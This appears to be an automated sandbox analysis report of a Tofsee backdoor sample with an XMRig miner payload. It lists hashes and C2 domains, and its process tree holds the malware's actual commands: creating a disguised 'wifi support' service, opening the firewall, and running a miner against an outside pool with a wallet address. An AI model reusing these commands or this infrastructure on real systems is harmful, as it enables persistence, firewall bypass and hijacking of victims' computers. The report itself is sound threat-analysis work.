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Analysis

  • max time kernel
    143s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    18/09/2023, 13:04

General

  • Target

    file.exe

  • Size

    215KB

  • MD5

    4e24c2069b040a40ebba8929e9ad2909

  • SHA1

    3fb7d81f621f77572fb1cc7ed4c0c116c5e68a4c

  • SHA256

    b94a454399232bb541b952c27fd158c8ddb4cbd3ec28633c63ae7187ad0adbe2

  • SHA512

    6ca3424e6891d17416241079f88eaa0dad7796dad143499874b269484156608dc6f13ef7786a3ff8b3dfc3d9f5942fa11f2ade68c6ea5a312e4433dd0393bb41

  • SSDEEP

    3072:XAX5ILc4SJF966mc67wYHUzDBdgBoQtCMiAQOM+757awZTJw4:k5ILaJF96rc67noAB5g9OL9awZT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ntbxlwom\
      2⤵
        PID:2868
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sqfngwrn.exe" C:\Windows\SysWOW64\ntbxlwom\
        2⤵
          PID:2652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ntbxlwom binPath= "C:\Windows\SysWOW64\ntbxlwom\sqfngwrn.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2804
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ntbxlwom "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ntbxlwom
          2⤵
          • Launches sc.exe
          PID:2860
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1636
      • C:\Windows\SysWOW64\ntbxlwom\sqfngwrn.exe
        C:\Windows\SysWOW64\ntbxlwom\sqfngwrn.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2832
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2544
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:308

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\sqfngwrn.exe

        Filesize

        10.3MB

        MD5

        d6b707c6406ffe000df4ca00bcae2037

        SHA1

        696266bd09b4e7128daf2fe1aa26155a67eeb83c

        SHA256

        6761e34bf10a07f517b8f87b9e0d9d92a67ec82cb608f0eeae8d94f6849a95c0

        SHA512

        4c7c810ada975d97268549fbf242842161b35dcdf2f292ea68892b166a0a5544742ddda2ba1b0e1ed073f13214709185e4a52415b596cf088e5f6373e82cac71

      • C:\Windows\SysWOW64\ntbxlwom\sqfngwrn.exe

        Filesize

        10.3MB

        MD5

        d6b707c6406ffe000df4ca00bcae2037

        SHA1

        696266bd09b4e7128daf2fe1aa26155a67eeb83c

        SHA256

        6761e34bf10a07f517b8f87b9e0d9d92a67ec82cb608f0eeae8d94f6849a95c0

        SHA512

        4c7c810ada975d97268549fbf242842161b35dcdf2f292ea68892b166a0a5544742ddda2ba1b0e1ed073f13214709185e4a52415b596cf088e5f6373e82cac71

      • memory/308-75-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-71-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-60-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-61-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-69-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-70-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-72-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-74-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/308-73-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

      • memory/2064-0-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2064-2-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB

      • memory/2064-8-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2064-7-0x00000000002C0000-0x00000000002D3000-memory.dmp

        Filesize

        76KB

      • memory/2064-6-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB

      • memory/2064-1-0x00000000002C0000-0x00000000002D3000-memory.dmp

        Filesize

        76KB

      • memory/2544-35-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-45-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-28-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-31-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-32-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-33-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-34-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-24-0x00000000018D0000-0x0000000001ADF000-memory.dmp

        Filesize

        2.1MB

      • memory/2544-36-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-37-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-38-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-39-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-41-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-40-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-42-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-43-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-44-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-25-0x0000000000190000-0x0000000000196000-memory.dmp

        Filesize

        24KB

      • memory/2544-46-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-47-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2544-48-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/2544-51-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/2544-52-0x0000000005940000-0x0000000005D4B000-memory.dmp

        Filesize

        4.0MB

      • memory/2544-55-0x0000000005940000-0x0000000005D4B000-memory.dmp

        Filesize

        4.0MB

      • memory/2544-56-0x0000000000200000-0x0000000000207000-memory.dmp

        Filesize

        28KB

      • memory/2544-21-0x00000000018D0000-0x0000000001ADF000-memory.dmp

        Filesize

        2.1MB

      • memory/2544-20-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2544-18-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2544-17-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2544-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2544-13-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2544-10-0x0000000000090000-0x00000000000A5000-memory.dmp

        Filesize

        84KB

      • memory/2832-14-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB

      • memory/2832-9-0x0000000000400000-0x0000000000486000-memory.dmp

        Filesize

        536KB